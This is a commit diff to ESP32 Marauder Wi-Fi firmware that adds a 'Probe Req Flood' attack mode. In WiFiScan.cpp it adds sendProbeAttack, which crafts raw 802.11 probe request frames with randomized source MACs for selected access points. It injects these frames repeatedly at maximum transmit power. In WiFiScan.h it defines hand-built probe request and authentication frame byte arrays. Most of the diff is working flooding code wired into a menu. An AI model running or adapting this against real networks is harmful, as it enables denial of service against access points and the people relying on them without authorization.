Add probe request attack

esp32_marauder/MenuFunctions.cpp

@@ -167,6 +167,9 @@ void MenuFunctions::addAPGFX(){
 
   lv_obj_t * label;
 
+  list_btn = lv_list_add_btn(list1, LV_SYMBOL_CLOSE, "Exit");
+  lv_obj_set_event_cb(list_btn, ap_list_cb);
+
   for (int i = 0; i < access_points->size(); i++) {
     char buf[access_points->get(i).essid.length() + 1] = {};
     access_points->get(i).essid.toCharArray(buf, access_points->get(i).essid.length() + 1);
@@ -186,9 +189,6 @@ void MenuFunctions::addAPGFX(){
     //label = lv_label_create(btn1, NULL);
     //lv_label_set_text(label, buf);
   }
-
-  list_btn = lv_list_add_btn(list1, LV_SYMBOL_CLOSE, "Exit");
-  lv_obj_set_event_cb(list_btn, ap_list_cb);
 }
 
 void ap_list_cb(lv_obj_t * btn, lv_event_t event) {
@@ -449,6 +449,9 @@ void load_btn_cb(lv_obj_t * load_btn, lv_event_t event) {
   
       // Build list of files from the SD card
       lv_obj_t * list_btn;
+
+      list_btn = lv_list_add_btn(list1, LV_SYMBOL_CLOSE, "Cancel");
+      lv_obj_set_event_cb(list_btn, test_btn_cb);
   
       while (true) {
         File entity = scripts.openNextFile();
@@ -471,9 +474,6 @@ void load_btn_cb(lv_obj_t * load_btn, lv_event_t event) {
       }
   
       scripts.close();
-  
-      list_btn = lv_list_add_btn(list1, LV_SYMBOL_CLOSE, "Cancel");
-      lv_obj_set_event_cb(list_btn, test_btn_cb);
     }
   }
 
@@ -672,6 +672,7 @@ void MenuFunctions::main(uint32_t currentTime)
   // Get the display buffer out of the way
   if ((wifi_scan_obj.currentScanMode != WIFI_SCAN_OFF ) &&
       (wifi_scan_obj.currentScanMode != WIFI_ATTACK_BEACON_SPAM) &&
+      (wifi_scan_obj.currentScanMode != WIFI_ATTACK_AUTH) &&
       (wifi_scan_obj.currentScanMode != WIFI_ATTACK_RICK_ROLL))
       //(wifi_scan_obj.currentScanMode != WIFI_ATTACK_BEACON_LIST))
     display_obj.displayBuffer();
@@ -710,6 +711,7 @@ void MenuFunctions::main(uint32_t currentTime)
         (wifi_scan_obj.currentScanMode == WIFI_SCAN_ALL) ||
         (wifi_scan_obj.currentScanMode == WIFI_SCAN_DEAUTH) ||
         (wifi_scan_obj.currentScanMode == WIFI_ATTACK_BEACON_SPAM) ||
+        (wifi_scan_obj.currentScanMode == WIFI_ATTACK_AUTH) ||
         (wifi_scan_obj.currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
         (wifi_scan_obj.currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
         (wifi_scan_obj.currentScanMode == BT_SCAN_ALL) ||
@@ -734,6 +736,7 @@ void MenuFunctions::main(uint32_t currentTime)
   // Check if any key coordinate boxes contain the touch coordinates
   // This is for when on a menu
   if ((wifi_scan_obj.currentScanMode != WIFI_ATTACK_BEACON_SPAM) &&
+      (wifi_scan_obj.currentScanMode != WIFI_ATTACK_AUTH) &&
       (wifi_scan_obj.currentScanMode != WIFI_ATTACK_RICK_ROLL))
       //(wifi_scan_obj.currentScanMode != WIFI_ATTACK_BEACON_LIST))
   {
@@ -1204,6 +1207,11 @@ void MenuFunctions::RunSetup()
     this->drawStatusBar();
     wifi_scan_obj.StartScan(WIFI_ATTACK_RICK_ROLL, TFT_YELLOW);
   });
+  addNodes(&wifiAttackMenu, "Probe Req Flood", TFT_RED, NULL, PROBE_SNIFF, [this]() {
+    display_obj.clearScreen();
+    this->drawStatusBar();
+    wifi_scan_obj.StartScan(WIFI_ATTACK_AUTH, TFT_RED);
+  });
 
   // Build WiFi General menu
   wifiGeneralMenu.parentMenu = &wifiMenu;

esp32_marauder/WiFiScan.cpp

@@ -266,6 +266,8 @@ void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
     RunBeaconSpam(scan_mode, color);
   else if (scan_mode == WIFI_ATTACK_RICK_ROLL)
     RunRickRoll(scan_mode, color);
+  else if (scan_mode == WIFI_ATTACK_AUTH)
+    RunProbeFlood(scan_mode, color);
   else if (scan_mode == BT_SCAN_ALL)
     RunBluetoothScan(scan_mode, color);
   else if (scan_mode == BT_SCAN_SKIMMERS)
@@ -341,6 +343,7 @@ void WiFiScan::StopScan(uint8_t scan_mode)
   (currentScanMode == WIFI_SCAN_DEAUTH) ||
   (currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
   (currentScanMode == WIFI_ATTACK_BEACON_SPAM) ||
+  (currentScanMode == WIFI_ATTACK_AUTH) ||
   (currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
   (currentScanMode == WIFI_PACKET_MONITOR) ||
   (currentScanMode == LV_JOIN_WIFI))
@@ -827,6 +830,37 @@ void WiFiScan::RunBeaconList(uint8_t scan_mode, uint16_t color)
 }
 */
 
+// Function to prepare for beacon spam
+void WiFiScan::RunProbeFlood(uint8_t scan_mode, uint16_t color) {
+  display_obj.TOP_FIXED_AREA_2 = 48;
+  display_obj.tteBar = true;
+  display_obj.print_delay_1 = 15;
+  display_obj.print_delay_2 = 10;
+  //display_obj.clearScreen();
+  display_obj.initScrollValues(true);
+  display_obj.tft.setTextWrap(false);
+  display_obj.tft.setTextColor(TFT_BLACK, color);
+  display_obj.tft.fillRect(0,16,240,16, color);
+  display_obj.tft.drawCentreString(" Auth Flood ",120,16,2);
+  display_obj.touchToExit();
+  display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+  packets_sent = 0;
+  //esp_wifi_set_mode(WIFI_MODE_STA);
+  //WiFi.mode(WIFI_AP_STA);
+  esp_wifi_init(&cfg);
+  esp_wifi_set_storage(WIFI_STORAGE_RAM);
+  //WiFi.mode(WIFI_AP_STA);
+  esp_wifi_set_mode(WIFI_AP_STA);
+  esp_wifi_start();
+  esp_wifi_set_promiscuous_filter(NULL);
+  esp_wifi_set_promiscuous(true);
+  esp_wifi_set_max_tx_power(78);
+  this->wifi_initialized = true;
+  initTime = millis();
+  //display_obj.clearScreen();
+  //Serial.println("End of func");
+}
+
 // Function to prepare for beacon spam
 void WiFiScan::RunBeaconSpam(uint8_t scan_mode, uint16_t color)
 {
@@ -1783,6 +1817,103 @@ void WiFiScan::broadcastRandomSSID(uint32_t currentTime) {
   //Serial.println("Sent packets");
 }
 
+// Function to send probe flood to all "active" access points
+void WiFiScan::sendProbeAttack(uint32_t currentTime) {
+  // Itterate through all access points in list
+  for (int i = 0; i < access_points->size(); i++) {
+
+    // Check if active
+    if (access_points->get(i).selected) {
+      this->set_channel = access_points->get(i).channel;
+      esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
+      delay(1);
+      
+      // Build packet
+      // Randomize SRC MAC
+      
+      prob_req_packet[10] = random(256);
+      prob_req_packet[11] = random(256);
+      prob_req_packet[12] = random(256);
+      prob_req_packet[13] = random(256);
+      prob_req_packet[14] = random(256);
+      prob_req_packet[15] = random(256);
+      
+      /*
+      prob_req_packet[10] = 0xde;
+      prob_req_packet[11] = 0xad;
+      prob_req_packet[12] = 0xbe;
+      prob_req_packet[13] = 0xef;
+      prob_req_packet[14] = 0xde;
+      prob_req_packet[15] = 0xad;
+      */
+
+      // Set dest
+      //assoc_packet[4] = access_points->get(i).bssid[0];
+      //assoc_packet[5] = access_points->get(i).bssid[1];
+      //assoc_packet[6] = access_points->get(i).bssid[2];
+      //assoc_packet[7] = access_points->get(i).bssid[3];
+      //assoc_packet[8] = access_points->get(i).bssid[4];
+      //assoc_packet[9] = access_points->get(i).bssid[5];
+
+      // Set det No. 2
+      //assoc_packet[16] = access_points->get(i).bssid[0];
+      //assoc_packet[17] = access_points->get(i).bssid[1];
+      //assoc_packet[18] = access_points->get(i).bssid[2];
+      //assoc_packet[19] = access_points->get(i).bssid[3];
+      //assoc_packet[20] = access_points->get(i).bssid[4];
+      //assoc_packet[21] = access_points->get(i).bssid[5];
+
+      // Set SSID length
+      int ssidLen = access_points->get(i).essid.length();
+      //int rand_len = sizeof(rand_reg);
+      int fullLen = ssidLen;
+      prob_req_packet[25] = fullLen;
+
+      // Insert ESSID
+      char buf[access_points->get(i).essid.length() + 1] = {};
+      access_points->get(i).essid.toCharArray(buf, access_points->get(i).essid.length() + 1);
+      
+      for(int i = 0; i < ssidLen; i++)
+        prob_req_packet[26 + i] = buf[i];
+        
+      /*
+       * 0x01, 0x08, 0x8c, 0x12, 0x18, 0x24, 
+                                  0x30, 0x48, 0x60, 0x6c, 0x2d, 0x1a, 
+                                  0xad, 0x01, 0x17, 0xff, 0xff, 0x00, 
+                                  0x00, 0x7e, 0x00, 0x00, 0x00, 0x00, 
+                                  0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 
+                                  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
+                                  0x00, 0x00
+       */
+
+      uint8_t postSSID[40] = {0x00, 0x00, 0x01, 0x08, 0x8c, 0x12, 
+                              0x18, 0x24, 0x30, 0x48, 0x60, 0x6c, 
+                              0x2d, 0x1a, 0xad, 0x01, 0x17, 0xff, 
+                              0xff, 0x00, 0x00, 0x7e, 0x00, 0x00, 
+                              0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 
+                              0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
+                              0x00, 0x00, 0x00, 0x00};
+
+      uint8_t good_probe_req_packet[26 + fullLen + 40] = {};
+      
+      for (int i = 0; i < 26 + fullLen; i++)
+        good_probe_req_packet[i] = prob_req_packet[i];
+
+      for(int i = 0; i < 40; i++) 
+        good_probe_req_packet[26 + fullLen + i] = postSSID[i];
+
+      
+
+      // Send packet
+      esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
+      esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
+      esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
+
+      packets_sent = packets_sent + 3;
+    }
+  }
+}
+
 
 void WiFiScan::wifiSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
 {
@@ -2432,6 +2563,24 @@ void WiFiScan::main(uint32_t currentTime)
   {
     eapolMonitorMain(currentTime);
   }
+  else if (currentScanMode == WIFI_ATTACK_AUTH) {
+    for (int i = 0; i < 55; i++)
+      this->sendProbeAttack(currentTime);
+
+    if (currentTime - initTime >= 1000) {
+      initTime = millis();
+      String displayString = "";
+      String displayString2 = "";
+      displayString.concat("packets/sec: ");
+      displayString.concat(packets_sent);
+      for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
+        displayString2.concat(" ");
+      display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+      display_obj.showCenterText(displayString2, 160);
+      display_obj.showCenterText(displayString, 160);
+      packets_sent = 0;
+    }
+  }
   else if ((currentScanMode == WIFI_ATTACK_BEACON_SPAM))
   {
     // Need this for loop because getTouch causes ~10ms delay

esp32_marauder/WiFiScan.h

@@ -47,6 +47,7 @@
 #define WIFI_ATTACK_BEACON_LIST 15
 #define WIFI_SCAN_TARGET_AP 16
 #define LV_SELECT_AP 17
+#define WIFI_ATTACK_AUTH 18
 
 #define GRAPH_REFRESH 100
 
@@ -144,6 +145,42 @@ class WiFiScan
                     /*36*/  0x00
                     };
 
+    /*uint8_t auth_packet[128] = {0xB0, 0x00, 0x3C, 0x00, // Frame Control, Duration
+                                0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Dest
+                                0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
+                                0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Dest BSSID
+                                0x00, 0x01, // Sequence number
+                                0x00, 0x00, // Algo
+                                0x01, 0x00, // Auth sequence number
+                                0x00, 0x00, // Status Code
+                                0x7F, 0x08,
+                                0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x40,
+                                0xDD, 0x0B, 0x00, 0x17, 0xF2, 0x0A, 0x00, 0x01, // Say it was Apple
+                                0x04, 0x00, 0x00, 0x00, 0x00, 0xDD, 0x0A, 0x00,
+                                0x10, 0x18, 0x02, 0x00, 0x00, 0x10, 0x00, 0x00,
+                                0x00
+                                };*/
+    uint8_t auth_packet[65] = {0xb0, 0x00, 0x3c, 0x00, 
+                              0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 
+                              0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 
+                              0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 
+                              0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 
+                              0x7f, 0x08, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 
+                              0x00, 0x40, 0xdd, 0x0b, 0x00, 0x17, 0xf2, 0x0a, 
+                              0x00, 0x01, 0x04, 0x00, 0x00, 0x00, 0x00, 0xdd, 
+                              0x0a, 0x00, 0x10, 0x18, 0x02, 0x00, 0x00, 0x10, 
+                              0x00, 0x00, 0x00};
+
+    uint8_t prob_req_packet[128] = {0x40, 0x00, 0x00, 0x00, 
+                                  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination
+                                  0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
+                                  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Dest
+                                  0x01, 0x00, // Sequence
+                                  0x00, // SSID Parameter
+                                  0x00, // SSID Length
+                                  /* SSID */
+                                  };
+
     void packetMonitorMain(uint32_t currentTime);
     void eapolMonitorMain(uint32_t currentTime);
     void changeChannel();
@@ -153,12 +190,14 @@ class WiFiScan
     void tftDrawChannelScaleButtons();
     void tftDrawColorKey();
     void tftDrawGraphObjects();
+    void sendProbeAttack(uint32_t currentTime);
     void broadcastRandomSSID(uint32_t currentTime);
     void broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid);
     void broadcastSetSSID(uint32_t current_time, char* ESSID);
     void RunAPScan(uint8_t scan_mode, uint16_t color);
     void RunRickRoll(uint8_t scan_mode, uint16_t color);
     void RunBeaconSpam(uint8_t scan_mode, uint16_t color);
+    void RunProbeFlood(uint8_t scan_mode, uint16_t color);
     void RunBeaconList(uint8_t scan_mode, uint16_t color);
     void RunEspressifScan(uint8_t scan_mode, uint16_t color);
     void RunPwnScan(uint8_t scan_mode, uint16_t color);